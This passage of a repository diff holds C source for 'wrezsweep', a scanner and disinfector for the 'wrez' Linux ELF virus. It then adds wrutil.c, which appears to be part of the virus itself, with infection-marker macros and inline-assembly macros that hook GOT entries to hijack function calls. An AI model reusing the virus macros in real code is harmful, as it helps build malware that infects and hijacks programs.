| 15 | int ctors_seek (FILE *fp, unsigned int ofs_low, unsigned int ofs_high, | ||
| 16 | unsigned int ctors_act, unsigned int opc_mask, | ||
| 17 | unsigned int opc_value); | ||
| 18 | unsigned int ctors_getold (unsigned char *virus); | ||
| 19 | |||
| 20 | |||
| 21 | int verbose = 0; | ||
| 22 | int ctors_fromheader = 0; | ||
| 23 | char * virus_outname = NULL; | ||
| 24 | |||
| 25 | |||
| 26 | void | ||
| 27 | usage (char *progname) | ||
| 28 | { | ||
| 29 | fprintf (stderr, "usage: %s [-h] [-x] [-D] [-v] [-d virus] \\\n" | ||
| 30 | "\t\t<file1 [file2 [...]]>\n" | ||
| 31 | "\n", progname); | ||
| 32 | fprintf (stderr, "options\n" | ||
| 33 | "\t-h\t\tthis help\n" | ||
| 34 | "\t-x\t\ttry to fix/disinfect file\n" | ||
| 35 | "\t-D\t\tuse alternate original-ctors detection code\n" | ||
| 36 | "\t-v\t\tverbose mode\n" | ||
| 37 | "\t-d virus\tdump virus code to file 'virus'\n" | ||
| 38 | "\n"); | ||
| 39 | |||
| 40 | exit (EXIT_FAILURE); | ||
| 41 | } | ||
| 42 | |||
| 43 | |||
| 44 | int | ||
| 45 | main (int argc, char *argv[]) | ||
| 46 | { | ||
| 47 | char c; | ||
| 48 | char * progname = argv[0]; | ||
| 49 | char ** oargv = argv; | ||
| 50 | int disinfect = 0; | ||
| 51 | |||
| 52 | |||
| 53 | printf ("wrezsweep - version "VERSION"\n\n"); | ||
| 54 | |||
| 55 | if (argc < 2) | ||
| 56 | usage (progname); | ||
| 57 | |||
| 58 | while ((c = getopt (argc, argv, "hxDvd:")) != EOF) { | ||
| 59 | switch (c) { | ||
| 60 | case 'h': | ||
| 61 | usage (progname); | ||
| 62 | break; | ||
| 63 | case 'x': | ||
| 64 | disinfect = 1; | ||
| 65 | break; | ||
| 66 | case 'D': | ||
| 67 | ctors_fromheader = 1; | ||
| 68 | break; | ||
| 69 | case 'v': | ||
| 70 | verbose = 1; | ||
| 71 | break; | ||
| 72 | case 'd': | ||
| 73 | virus_outname = optarg; | ||
| 74 | break; | ||
| 75 | default: | ||
| 76 | usage (progname); | ||
| 77 | break; | ||
| 78 | } | ||
| 79 | } | ||
| 80 | |||
| 81 | if (optind == argc) | ||
| 82 | usage (progname); | ||
| 83 | |||
| 84 | if (verbose) { | ||
| 85 | printf ("scanning %d files\n", argc - optind); | ||
| 86 | if (disinfect) | ||
| 87 | printf ("disinfection enabled\n"); | ||
| 88 | } | ||
| 89 | |||
| 90 | printf ("====================================================" | ||
| 91 | "==========================\n"); | ||
| 92 | |||
| 93 | for ( ; optind < argc ; ++optind) { | ||
| 94 | printf ("FILE %s\n", oargv[optind]); | ||
| 95 | |||
| 96 | isinfected (oargv[optind], disinfect); | ||
| 97 | } | ||
| 98 | |||
| 99 | exit (EXIT_SUCCESS); | ||
| 100 | } | ||
| 101 | |||
| 102 | |||
| 103 | /* 0 clean | ||
| 104 | * 1 infected | ||
| 105 | * -1 error | ||
| 106 | */ | ||
| 107 | |||
| 108 | int | ||
| 109 | isinfected (char *pathname, int disinfect) | ||
| 110 | { | ||
| 111 | int retval = -1; | ||
| 112 | FILE * fp = NULL; | ||
| 113 | long int fp_ofs; /* temporary file offset */ | ||
| 114 | long int fp_len; /* victim file size */ | ||
| 115 | |||
| 116 | off_t fp_new_end; | ||
| 117 | unsigned char * slide_data = NULL; | ||
| 118 | unsigned int slide_len; | ||
| 119 | FILE * fpv; | ||
| 120 | unsigned char * virus = NULL; | ||
| 121 | int n; | ||
| 122 | Elf32_Ehdr veh; | ||
| 123 | Elf32_Shdr seh; | ||
| 124 | Elf32_Shdr sh[32], /* temporary */ | ||
| 125 | bss, /* .bss section header table entry */ | ||
| 126 | ctors; /* .ctors section */ | ||
| 127 | int ctors_seen = 0; | ||
| 128 | Elf32_Phdr ptl1, /* 1rst PT_LOAD segment header */ | ||
| 129 | ptl2; /* 2nd PT_LOAD segment header */ | ||
| 130 | long int ptl2_ofs; /* file offset of header */ | ||
| 131 | int vlen_sanity; /* odd stuff */ | ||
| 132 | unsigned int vlen; /* virus length */ | ||
| 133 | unsigned int vlen_filesz, | ||
| 134 | vlen_addmem, | ||
| 135 | vlen_virtual, | ||
| 136 | vlen_offset; | ||
| 137 | unsigned int old_ctors, | ||
| 138 | vir_ctors; | ||
| 139 | unsigned int new_displ, | ||
| 140 | ph_lastphys; | ||
| 141 | |||
| 142 | |||
| 143 | fp = fopen (pathname, "rb"); | ||
| 144 | if (fp == NULL) { | ||
| 145 | perror ("fopen"); | ||
| 146 | return (-1); | ||
| 147 | } | ||
| 148 | |||
| 149 | if (fread (&veh, sizeof (veh), 1, fp) != 1) { | ||
| 150 | perror ("fread Elf32_Ehdr"); | ||
| 151 | goto bail; | ||
| 152 | } | ||
| 153 | |||
| 154 | if (veh.e_ident[EI_MAG0] != ELFMAG0 || | ||
| 155 | veh.e_ident[EI_MAG1] != ELFMAG1 || | ||
| 156 | veh.e_ident[EI_MAG2] != ELFMAG2 || | ||
| 157 | veh.e_ident[EI_MAG3] != ELFMAG3) | ||
| 158 | { | ||
| 159 | if (verbose) | ||
| 160 | printf (" no ELF file\n"); | ||
| 161 | goto bail; | ||
| 162 | } | ||
| 163 | |||
| 164 | if (veh.e_type != ET_EXEC || veh.e_machine != EM_386) | ||
| 165 | goto bail; | ||
| 166 | |||
| 167 | if (veh.e_shoff == 0) { | ||
| 168 | if (verbose) | ||
| 169 | printf (" section header table offset is zero\n"); | ||
| 170 | |||
| 171 | goto bail; | ||
| 172 | } | ||
| 173 | |||
| 174 | if (fseek (fp, veh.e_shoff, SEEK_SET) != 0) { | ||
| 175 | perror ("fseek e_shoff"); | ||
| 176 | goto bail; | ||
| 177 | } | ||
| 178 | |||
| 179 | /* walk sections, until .bss is reached. because .bss is always at the | ||
| 180 | * end of the second PT_LOAD segment, we can expect our virus to be | ||
| 181 | * after .bss | ||
| 182 | */ | ||
| 183 | memset (&bss, '\0', sizeof (bss)); | ||
| 184 | for (n = 0 ; n < veh.e_shnum && n < 32 ; ++n) { | ||
| 185 | if (fread (&sh[n], sizeof (sh[0]), 1, fp) != 1) { | ||
| 186 | perror ("fread Elf32_Shdr"); | ||
| 187 | |||
| 188 | goto bail; | ||
| 189 | } | ||
| 190 | |||
| 191 | /* when .bss is found, copy it | ||
| 192 | */ | ||
| 193 | if (sh[n].sh_type == SHT_NOBITS) | ||
| 194 | memcpy (&bss, &sh[n], sizeof (bss)); | ||
| 195 | |||
| 196 | /* check for .ctors section | ||
| 197 | */ | ||
| 198 | if (ctors_seen == 0 && | ||
| 199 | sh[n].sh_type == SHT_PROGBITS && | ||
| 200 | sh[n].sh_size == 8 && | ||
| 201 | sh[n].sh_flags == (SHF_WRITE | SHF_ALLOC)) | ||
| 202 | { | ||
| 203 | ctors_seen = 1; | ||
| 204 | memcpy (&ctors, &sh[n], sizeof (ctors)); | ||
| 205 | } | ||
| 206 | } | ||
| 207 | |||
| 208 | if (bss.sh_type != SHT_NOBITS) { | ||
| 209 | if (verbose) | ||
| 210 | printf (" .bss section not found\n"); | ||
| 211 | goto bail; | ||
| 212 | } | ||
| 213 | |||
| 214 | if (veh.e_phoff == 0) { | ||
| 215 | if (verbose) | ||
| 216 | printf (" segment header table offset is zero\n"); | ||
| 217 | goto bail; | ||
| 218 | } | ||
| 219 | if (fseek (fp, veh.e_phoff, SEEK_SET) != 0) { | ||
| 220 | perror ("fseek e_phoff"); | ||
| 221 | goto bail; | ||
| 222 | } | ||
| 223 | |||
| 224 | for (n = 0 ; n < veh.e_phnum ; ++n) { | ||
| 225 | if (fread (&ptl2, sizeof (ptl2), 1, fp) != 1) { | ||
| 226 | perror ("fread Elf32_Phdr"); | ||
| 227 | goto bail; | ||
| 228 | } | ||
| 229 | |||
| 230 | if (ptl2.p_type == PT_LOAD && ptl2.p_flags == (PF_W | PF_R)) { | ||
| 231 | ptl2_ofs = ftell (fp) - sizeof (ptl2); | ||
| 232 | break; | ||
| 233 | } else if (ptl2.p_type == PT_LOAD) { | ||
| 234 | memcpy (&ptl1, &ptl2, sizeof (ptl1)); | ||
| 235 | } | ||
| 236 | } | ||
| 237 | if (n == veh.e_phnum) { | ||
| 238 | if (verbose) | ||
| 239 | printf (" 2nd PT_LOAD segment not found\n"); | ||
| 240 | goto bail; | ||
| 241 | } | ||
| 242 | |||
| 243 | vlen = ptl2.p_offset + ptl2.p_memsz; | ||
| 244 | vlen -= bss.sh_offset + bss.sh_size; | ||
| 245 | |||
| 246 | /* XXX: there are some weird files, where the end of .bss is past the | ||
| 247 | * memsz of the data PT_LOAD segment. strange. | ||
| 248 | */ | ||
| 249 | vlen_sanity = vlen; | ||
| 250 | if (vlen_sanity < 0) | ||
| 251 | goto bail; | ||
| 252 | |||
| 253 | |||
| 254 | if (vlen == 0) { | ||
| 255 | if (verbose) | ||
| 256 | printf ("CLEAN: %s\n", pathname); | ||
| 257 | |||
| 258 | retval = 0; | ||
| 259 | goto bail; | ||
| 260 | } | ||
| 261 | |||
| 262 | vlen_filesz = ptl2.p_offset + ptl2.p_filesz; | ||
| 263 | vlen_filesz -= bss.sh_offset + bss.sh_size; | ||
| 264 | vlen_addmem = vlen - vlen_filesz; | ||
| 265 | vlen_virtual = bss.sh_addr + bss.sh_size; | ||
| 266 | vlen_offset = bss.sh_offset + bss.sh_size; | ||
| 267 | |||
| 268 | printf ("WARNING: file \"%s\", possible infection detected !\n" | ||
| 269 | " memory: %u bytes at 0x%08x\n" | ||
| 270 | " file: %u (+%u mem) bytes at 0x%08x\n", | ||
| 271 | pathname, | ||
| 272 | vlen, vlen_virtual, vlen_filesz, vlen_addmem, | ||
| 273 | vlen_offset); | ||
| 274 | |||
| 275 | /* read virus into memory, and optionally dump it to file for further | ||
| 276 | * analysis | ||
| 277 | */ | ||
| 278 | if (fseek (fp, vlen_offset, SEEK_SET) != 0) { | ||
| 279 | perror ("fseek virus offset"); | ||
| 280 | goto bail; | ||
| 281 | } | ||
| 282 | |||
| 283 | virus = calloc (1, vlen_filesz); | ||
| 284 | fread (virus, vlen_filesz, 1, fp); | ||
| 285 | |||
| 286 | if (virus_outname != NULL) { | ||
| 287 | if (verbose) | ||
| 288 | printf ("DUMPING virus region (0x%x to 0x%x, " | ||
| 289 | "%d bytes) to \"%s\"\n", vlen_offset, | ||
| 290 | vlen_offset + vlen_filesz, vlen_filesz, | ||
| 291 | virus_outname); | ||
| 292 | |||
| 293 | fpv = fopen (virus_outname, "wb"); | ||
| 294 | |||
| 295 | if (fpv == NULL) { | ||
| 296 | perror ("fopen virus"); | ||
| 297 | |||
| 298 | goto bail; | ||
| 299 | } | ||
| 300 | |||
| 301 | /* skip .ctors entry, only write real virus code | ||
| 302 | */ | ||
| 303 | fwrite (virus + sizeof (unsigned int), | ||
| 304 | vlen_filesz - sizeof (unsigned int), 1, fpv); | ||
| 305 | fclose (fpv); | ||
| 306 | } | ||
| 307 | |||
| 308 | fclose (fp); | ||
| 309 | fp = NULL; | ||
| 310 | |||
| 311 | if (disinfect == 0) { | ||
| 312 | retval = (vlen == 0) ? 0 : 1; | ||
| 313 | goto bail; | ||
| 314 | } | ||
| 315 | |||
| 316 | /* for disinfection, open the file read/write | ||
| 317 | */ | ||
| 318 | fp = fopen (pathname, "r+b"); | ||
| 319 | if (fp == NULL) { | ||
| 320 | perror ("fopen disinfection"); | ||
| 321 | |||
| 322 | goto bail; | ||
| 323 | } | ||
| 324 | |||
| 325 | /* first patch the original .ctors. this will deactivate the virus | ||
| 326 | * code, even if we fail to later remove it cleanly from the file | ||
| 327 | */ | ||
| 328 | vir_ctors = vlen_virtual; | ||
| 329 | old_ctors = ctors_getold (virus); | ||
| 330 | |||
| 331 | if (old_ctors != 0xffffffff) | ||
| 332 | old_ctors -= 4; /* returns +4 since crt0.o walks downwards */ | ||
| 333 | |||
| 334 | if (ctors_seen) { | ||
| 335 | if (ctors.sh_addr != old_ctors) { | ||
| 336 | printf ("DISINFECTION WARNING: original .ctors " | ||
| 337 | "addresses differ\n"); | ||
| 338 | printf (" .ctors section header: 0x%08x\n" | ||
| 339 | " ctors from wrconfig: 0x%08x\n", | ||
| 340 | ctors.sh_addr, old_ctors); | ||
| 341 | } | ||
| 342 | |||
| 343 | if (ctors_fromheader) { | ||
| 344 | if (verbose) | ||
| 345 | printf (" overriding .ctors address\n"); | ||
| 346 | |||
| 347 | old_ctors = ctors.sh_addr; | ||
| 348 | } | ||
| 349 | } | ||
| 350 | |||
| 351 | if (old_ctors == 0xffffffff) { | ||
| 352 | printf ("DISINFECTION WARNING: either not wrez or its " | ||
| 353 | "polymorph\n"); | ||
| 354 | printf (" manually disinfect it (virus start: 0x%08x)\n", | ||
| 355 | vir_ctors); | ||
| 356 | printf (" or override ctors disinfection using the '-D' " | ||
| 357 | "option\n"); | ||
| 358 | |||
| 359 | goto bail; | ||
| 360 | } | ||
| 361 | |||
| 362 | printf ("DISINFECTING\n" | ||
| 363 | " old ctors address: 0x%08x\n" | ||
| 364 | " virus ctors address: 0x%08x\n", old_ctors, vir_ctors); | ||
| 365 | |||
| 366 | if (ctors_seek (fp, ptl1.p_offset, ptl1.p_offset + ptl1.p_filesz, | ||
| 367 | vir_ctors, 0xf8, 0xb8)) | ||
| 368 | { | ||
| 369 | printf ("FAILURE: cannot find viral ctors address in " | ||
| 370 | "crt0.o\n"); | ||
| 371 | |||
| 372 | goto bail; | ||
| 373 | } | ||
| 374 | |||
| 375 | fp_ofs = ftell (fp); | ||
| 376 | |||
| 377 | if (verbose) { | ||
| 378 | printf (" found virus ctors activation code within crt0.o " | ||
| 379 | "at: 0x%08lx\n", fp_ofs); | ||
| 380 | } | ||
| 381 | |||
| 382 | /* overwrite first address (%ebx load), then search for the second | ||
| 383 | * one, immediatly after it (offset + 64 bytes) | ||
| 384 | */ | ||
| 385 | if (fwrite (&old_ctors, sizeof (old_ctors), 1, fp) != 1) | ||
| 386 | goto bail; | ||
| 387 | |||
| 388 | if (ctors_seek (fp, fp_ofs, fp_ofs + 64, vir_ctors, 0, 0)) { | ||
| 389 | printf ("FAILURE: cannot find second viral ctors address " | ||
| 390 | "in crt0.o\n"); | ||
| 391 | |||
| 392 | goto bail; | ||
| 393 | } | ||
| 394 | |||
| 395 | if (verbose) | ||
| 396 | printf (" found second virus ctors activation code " | ||
| 397 | "at: 0x%08lx\n", ftell (fp)); | ||
| 398 | |||
| 399 | if (fwrite (&old_ctors, sizeof (old_ctors), 1, fp) != 1) | ||
| 400 | goto bail; | ||
| 401 | |||
| 402 | if (verbose) | ||
| 403 | printf (" restored old ctors address\n"); | ||
| 404 | |||
| 405 | printf (" disabled virus activation, viral code is still in file, " | ||
| 406 | "though\n"); | ||
| 407 | |||
| 408 | /* try to remove viral code from file | ||
| 409 | */ | ||
| 410 | if (fseek (fp, 0, SEEK_END) != 0) | ||
| 411 | goto bail; | ||
| 412 | |||
| 413 | fp_len = ftell (fp); | ||
| 414 | slide_len = fp_len - (ptl2.p_offset + ptl2.p_filesz); | ||
| 415 | new_displ = vlen_filesz + bss.sh_size; | ||
| 416 | |||
| 417 | if (verbose) | ||
| 418 | printf (" sliding 0x%x bytes at the end of file (0x%x " | ||
| 419 | "bytes forward)\n", slide_len, new_displ); | ||
| 420 | |||
| 421 | slide_data = calloc (1, slide_len); | ||
| 422 | if (fseek (fp, fp_len - slide_len, SEEK_SET) != 0) | ||
| 423 | goto bail; | ||
| 424 | |||
| 425 | if (fread (slide_data, slide_len, 1, fp) != 1) { | ||
| 426 | perror ("fread slide-data"); | ||
| 427 | goto bail; | ||
| 428 | } | ||
| 429 | |||
| 430 | /* seek to end of old PT_LOAD segment and slide file end there | ||
| 431 | */ | ||
| 432 | if (fseek (fp, bss.sh_offset, SEEK_SET) != 0) | ||
| 433 | goto bail; | ||
| 434 | |||
| 435 | if (fwrite (slide_data, slide_len, 1, fp) != 1) { | ||
| 436 | perror ("fwrite slide-data"); | ||
| 437 | goto bail; | ||
| 438 | } | ||
| 439 | |||
| 440 | fp_new_end = bss.sh_offset + slide_len; | ||
| 441 | fflush (fp); | ||
| 442 | ftruncate (fileno (fp), fp_new_end); | ||
| 443 | |||
| 444 | ph_lastphys = ptl2.p_offset + ptl2.p_filesz; | ||
| 445 | if (veh.e_shoff > ph_lastphys) { | ||
| 446 | veh.e_shoff -= new_displ; | ||
| 447 | if (fseek (fp, 0, SEEK_SET) != 0) | ||
| 448 | goto bail; | ||
| 449 | if (fwrite (&veh, sizeof (veh), 1, fp) != 1) | ||
| 450 | goto bail; | ||
| 451 | } | ||
| 452 | |||
| 453 | /* repair second PT_LOAD header | ||
| 454 | */ | ||
| 455 | ptl2.p_filesz -= new_displ; | ||
| 456 | ptl2.p_memsz -= vlen; | ||
| 457 | if (fseek (fp, ptl2_ofs, SEEK_SET) != 0) | ||
| 458 | goto bail; | ||
| 459 | if (fwrite (&ptl2, sizeof (ptl2), 1, fp) != 1) | ||
| 460 | goto bail; | ||
| 461 | |||
| 462 | /* and fixup all slided sections | ||
| 463 | */ | ||
| 464 | if (fseek (fp, veh.e_shoff, SEEK_SET) != 0) | ||
| 465 | goto bail; | ||
| 466 | |||
| 467 | for (n = 0 ; n < veh.e_shnum ; ++n) { | ||
| 468 | if (fread (&seh, sizeof (seh), 1, fp) != 1) { | ||
| 469 | perror ("fread fixup Elf32_Shdr"); | ||
| 470 | goto bail; | ||
| 471 | } | ||
| 472 | |||
| 473 | if (seh.sh_offset > ph_lastphys) { | ||
| 474 | seh.sh_offset -= new_displ; | ||
| 475 | if (fseek (fp, - sizeof (seh), SEEK_CUR) != 0) | ||
| 476 | goto bail; | ||
| 477 | if (fwrite (&seh, sizeof (seh), 1, fp) != 1) | ||
| 478 | goto bail; | ||
| 479 | |||
| 480 | if (verbose) | ||
| 481 | printf (" section %d fixed\n", n); | ||
| 482 | } | ||
| 483 | } | ||
| 484 | |||
| 485 | printf (" successfully removed viral code from file\n"); | ||
| 486 | |||
| 487 | bail: if (fp != NULL) | ||
| 488 | fclose (fp); | ||
| 489 | |||
| 490 | if (virus != NULL) | ||
| 491 | free (virus); | ||
| 492 | if (slide_data != NULL) | ||
| 493 | free (slide_data); | ||
| 494 | |||
| 495 | return (retval); | ||
| 496 | } | ||
| 497 | |||
| 498 | |||
| 499 | /* ctors_seek | ||
| 500 | * | ||
| 501 | * seek within file `fp', between byte offset `ofs_low' and `ofs_high' for | ||
| 502 | * the unaligned 32 bit unsigned number `ctors_act' | ||
| 503 | * | ||
| 504 | * return 1 on failure | ||
| 505 | * return 0 on success, seek fp to the &ctors_act position | ||
| 506 | */ | ||
| 507 | |||
| 508 | int | ||
| 509 | ctors_seek (FILE *fp, unsigned int ofs_low, unsigned int ofs_high, | ||
| 510 | unsigned int ctors_act, unsigned int opc_mask, | ||
| 511 | unsigned int opc_value) | ||
| 512 | { | ||
| 513 | long ofs; | ||
| 514 | unsigned char dopcode; | ||
| 515 | unsigned char rbuf[4]; | ||
| 516 | unsigned int * rbp; | ||
| 517 | |||
| 518 | |||
| 519 | if (verbose) | ||
| 520 | printf (" scanning for 0x%08x in: [0x%x - 0x%x]\n", | ||
| 521 | ctors_act, ofs_low, ofs_high); | ||
| 522 | |||
| 523 | /* we do not have to optimize this with streaming buffers, since | ||
| 524 | * the FILE buffers do that, better than we ever can ;) | ||
| 525 | */ | ||
| 526 | if (fseek (fp, ofs_low, SEEK_SET) != 0) | ||
| 527 | goto bail; | ||
| 528 | memset (rbuf, '\x00', sizeof (rbuf)); | ||
| 529 | |||
| 530 | for (ofs = ofs_low ; ofs <= (ofs_high - sizeof (unsigned int)) ; | ||
| 531 | ofs = ftell (fp)) | ||
| 532 | { | ||
| 533 | dopcode = rbuf[0]; | ||
| 534 | dopcode &= opc_mask; | ||
| 535 | |||
| 536 | if (fread (rbuf, sizeof (rbuf), 1, fp) != 1) | ||
| 537 | goto bail; | ||
| 538 | |||
| 539 | /* compare with given address | ||
| 540 | */ | ||
| 541 | rbp = (unsigned int *) &rbuf[0]; | ||
| 542 | if (*rbp == ctors_act && dopcode == opc_value) { | ||
| 543 | if (fseek (fp, ofs, SEEK_SET) != 0) | ||
| 544 | goto bail; | ||
| 545 | |||
| 546 | return (0); | ||
| 547 | } | ||
| 548 | |||
| 549 | if (fseek (fp, ofs + 1, SEEK_SET) != 0) | ||
| 550 | goto bail; | ||
| 551 | } | ||
| 552 | |||
| 553 | bail: | ||
| 554 | return (1); | ||
| 555 | } | ||
| 556 | |||
| 557 | |||
| 558 | unsigned int | ||
| 559 | ctors_getold (unsigned char *virus) | ||
| 560 | { | ||
| 561 | virus += sizeof (unsigned int); /* new ctors */ | ||
| 562 | |||
| 563 | /* kludge, skip until call opcode | ||
| 564 | */ | ||
| 565 | while (virus[2] != 0xe8) | ||
| 566 | return (0xffffffff); | ||
| 567 | |||
| 568 | virus += 2; | ||
| 569 | |||
| 570 | virus += 1 + sizeof (unsigned int); /* skip opcode + imm32 */ | ||
| 571 | |||
| 572 | /* virus points to wrconfig structure now | ||
| 573 | */ | ||
| 574 | return (((unsigned int *) virus)[2]); | ||
| 575 | } | ||
| 576 | |||
| 577 | |||
| 578 | |||
diff --git a/other/wrez/wrutil.c b/other/wrez/wrutil.c new file mode 100644 index 0000000..6e68df9 --- /dev/null +++ b/other/wrez/wrutil.c | |||
| @@ -0,0 +1,306 @@ | |||
| 1 | |||
| 2 | |||
| 3 | /* infection marker macros | ||
| 4 | * INFECTED_SET will increase the value to a infection marker size | ||
| 5 | * INFECTED_IS will check for the marker | ||
| 6 | * | ||
| 7 | * FIXME: INFECT_PERCENT macro does not work. for some reason gcc assigns | ||
| 8 | * a static variable to the values for division. uhm. | ||
| 9 | */ | ||
| 10 | #if 0 | ||
| 11 | #define INFECT_PERCENT ((unsigned int) 90) | ||
| 12 | #define INFECT_PADUP ((unsigned int)(400 / (100 - INFECT_PERCENT))) | ||
| 13 | #endif | ||
| 14 | |||
| 15 | /* false positive rates (slipped through when infecting) | ||
| 16 | * | ||
| 17 | * INFECT_PADUP | rate of virgin executeables falsely detected as infected | ||
| 18 | * -------------+--------------------------------------------------------- | ||
| 19 | * 0x4 | 100.0 % | ||
| 20 | * 0x8 | 50.0 % | ||
| 21 | * 0x0a | 40.0 % | ||
| 22 | * 0x10 | 25.0 % | ||
| 23 | * 0x14 | 20.0 % | ||
| 24 | * 0x20 | 12.5 % | ||
| 25 | * 0x28 | 10.0 % | ||
| 26 | * 0x40 | 6.25 % | ||
| 27 | * 0x50 | 5.0 % | ||
| 28 | * 0x80 | 3.125 % | ||
| 29 | * 0xc8 | 2.0 % | ||
| 30 | * 0x100 | 1.5625 % | ||
| 31 | * 0x190 | 1.0 % | ||
| 32 | * 0x200 | 0.78125 % | ||
| 33 | */ | ||
| 34 | |||
| 35 | #define INFECT_PADUP 0xc8 | ||
| 36 | #define INFECTED_SET(isize) \ | ||
| 37 | { \ | ||
| 38 | (isize) += INFECT_PADUP - ((isize) % INFECT_PADUP); \ | ||
| 39 | } | ||
| 40 | |||
| 41 | #define INFECTED_IS(isize) \ | ||
| 42 | (((isize) % INFECT_PADUP) == 0) | ||
| 43 | |||
| 44 | |||
| 45 | /* STRINGPTR macro to create a const string directly within the code. | ||
| 46 | * the string 'string' is assigned to the char * 'dst'. do not use it | ||
| 47 | * twice if you need the same string, but copy the resulting pointer, | ||
| 48 | * as each use of the macro dupes the string. use as this: | ||
| 49 | * | ||
| 50 | * char * foo; | ||
| 51 | * STRINGPTR(foo,"bar"); | ||
| 52 | */ | ||
| 53 | #define STRINGPTR(dst,string) \ | ||
| 54 | { \ | ||
| 55 | register unsigned char * regtmp; \ | ||
| 56 | \ | ||
| 57 | __asm__ __volatile__ ( \ | ||
| 58 | " call l0_%=\n\t" \ | ||
| 59 | " .asciz \""##string"\"\n\t" \ | ||
| 60 | "l0_%=: popl %%eax\n\t" \ | ||
| 61 | : "=a" (regtmp)); \ | ||
| 62 | \ | ||
| 63 | (dst) = regtmp; \ | ||
| 64 | } | ||
| 65 | |||
| 66 | |||
| 67 | /* STATICPTR macro creates a fixed amount of space right where it is used, | ||
| 68 | * and loads the pointer 'dst' to point to the first byte of the space. | ||
| 69 | * use like this: | ||
| 70 | * | ||
| 71 | * void * data; | ||
| 72 | * STATICPTR (data, "256"); | ||
| 73 | * | ||
| 74 | * would reserve 256 bytes of data. | ||
| 75 | */ | ||
| 76 | #define STATICPTR(dst,lenstr) \ | ||
| 77 | { \ | ||
| 78 | register unsigned char * regtmp; \ | ||
| 79 | \ | ||
| 80 | __asm__ __volatile__ ( \ | ||
| 81 | " call l0_%=\n\t" \ | ||
| 82 | " .fill "##lenstr", 1, 0x0\n" \ | ||
| 83 | "l0_%=: popl %%eax\n\t" \ | ||
| 84 | : "=a" (regtmp)); \ | ||
| 85 | \ | ||
| 86 | (dst) = regtmp; \ | ||
| 87 | } | ||
| 88 | |||
| 89 | |||
| 90 | /* the following three macros are used to redirect function calls and to | ||
| 91 | * retrieve the absolute address of virus-functions. | ||
| 92 | * | ||
| 93 | * do not put a colon ';' after using the CHAINSTRUCT macro. | ||
| 94 | */ | ||
| 95 | |||
| 96 | #define CHAINSTRUCT(arraylen) \ | ||
| 97 | struct { \ | ||
| 98 | void * chain; /* address to chain call to */ \ | ||
| 99 | void * any; /* transport pointer for user data */ \ | ||
| 100 | unsigned int gotcount; \ | ||
| 101 | unsigned int * gotloc[arraylen]; /* .got entry address */ \ | ||
| 102 | } * cstr; | ||
| 103 | |||
| 104 | |||
| 105 | /* FUNCPTR, computes the absolute address for a function, based on relative | ||
| 106 | * data only. use like this: | ||
| 107 | * | ||
| 108 | * unsigned int my_write_addr; | ||
| 109 | * FUNCPTR (my_write_addr, "my_write"); | ||
| 110 | */ | ||
| 111 | /* | ||
| 112 | "l0_%=: movl ($"##functionname" - $l0_%=), %%eax\n" \ | ||
| 113 | */ | ||
| 114 | |||
| 115 | #define FUNCPTR(dst,functionname) \ | ||
| 116 | { \ | ||
| 117 | register unsigned int fptr; \ | ||
| 118 | \ | ||
| 119 | __asm__ __volatile__ ( \ | ||
| 120 | " call l0_%=\n" \ | ||
| 121 | "l0_%=: movl $"##functionname", %%eax\n" \ | ||
| 122 | " subl $l0_%=, %%eax\n" \ | ||
| 123 | " popl %%edx\n" \ | ||
| 124 | " addl %%edx, %%eax\n" \ | ||
| 125 | : "=a" (fptr) : : "edx"); \ | ||
| 126 | \ | ||
| 127 | (dst) = (void *) fptr; \ | ||
| 128 | } | ||
| 129 | |||
| 130 | |||
| 131 | /* PTRINSTALL, macro to work together with PTRCONTROL. see wrcore.c for | ||
| 132 | * usage example | ||
| 133 | * | ||
| 134 | * hook = function pointer to hook function (your function) | ||
| 135 | * chain = function pointer to original function (old function) | ||
| 136 | * any = (void *) for your needs, accessible through chainstruct->any | ||
| 137 | * gotarray = (Elf32_Word *arr[]), pointer to array of GOT locations | ||
| 138 | * gotcount = elements used in array, must be at least one | ||
| 139 | */ | ||
| 140 | |||
| 141 | #define PTRINSTALL_ARRAY(hook,chain,any,gotarray,gotcount) \ | ||
| 142 | { \ | ||
| 143 | __asm__ __volatile__ ( \ | ||
| 144 | " call l0_%=\n" \ | ||
| 145 | "lr_%=: jmp lo_%=\n" \ | ||
| 146 | "l0_%=: pushl %%ecx\n" \ | ||
| 147 | " pushl $"##gotcount"\n" \ | ||
| 148 | " pushl %%ebx\n" \ | ||
| 149 | " pushl %%edx\n" \ | ||
| 150 | " pushl $0x64466226\n" \ | ||
| 151 | " jmpl *%%eax\n" \ | ||
| 152 | "lo_%=:\n" \ | ||
| 153 | : : "a" (hook), "c" (gotarray), "d" (chain), "b" (any)); \ | ||
| 154 | } | ||
| 155 | |||
| 156 | /* convenience macro for one got entry only (most commonly required) | ||
| 157 | */ | ||
| 158 | #define PTRINSTALL(hook,chain,gotloc,any) \ | ||
| 159 | PTRINSTALL_ARRAY(hook,chain,any,&gotloc,"1"); | ||
| 160 | |||
| 161 | |||
| 162 | /* PTRCONTROL, macro to be placed at the beginning of a hook function. works | ||
| 163 | * together with PTRINSTALL. | ||
| 164 | * | ||
| 165 | * FIXME: the $lp_%= and $l1_%= instructions put the absolute address, which | ||
| 166 | * is not what we want. it works still, because we don't access them, | ||
| 167 | * and only do relative computations. but we waste memory and expose | ||
| 168 | * the original linking address because of this. fix it. also the | ||
| 169 | * FUNCPTR macro is having the same weakness | ||
| 170 | */ | ||
| 171 | |||
| 172 | #define PTRCONTROL(chainstr,arraylen) \ | ||
| 173 | { \ | ||
| 174 | __asm__ __volatile__ ( \ | ||
| 175 | " jmp l0_%=\n" \ | ||
| 176 | "lp_%=: .fill 3, 4, 0x0\n" \ | ||
| 177 | " .fill "##arraylen", 4, 0x0\n" \ | ||
| 178 | "\n" \ | ||
| 179 | "l0_%=: call l1_%=\n" \ | ||
| 180 | "l1_%=: popl %%edx\n" \ | ||
| 181 | " addl $lp_%=, %%edx\n" \ | ||
| 182 | " subl $l1_%=, %%edx\n" \ | ||
| 183 | "\n" \ | ||
| 184 | " pushl %%eax\n" \ | ||
| 185 | " movl 0x4(%%ebp), %%eax\n" \ | ||
| 186 | " cmpl $0x64466226, %%eax\n" /* magic */ \ | ||
| 187 | " jne lo_%=\n" \ | ||
| 188 | "\n" \ | ||
| 189 | " movl 0x8(%%ebp), %%eax\n" \ | ||
| 190 | " movl %%eax, (%%edx)\n" /* chain */ \ | ||
| 191 | " movl 0xc(%%ebp), %%eax\n" \ | ||
| 192 | " movl %%eax, 4(%%edx)\n" /* any */ \ | ||
| 193 | " movl 0x10(%%ebp), %%ecx\n" /* load counter */ \ | ||
| 194 | " movl %%ecx, 8(%%edx)\n" \ | ||
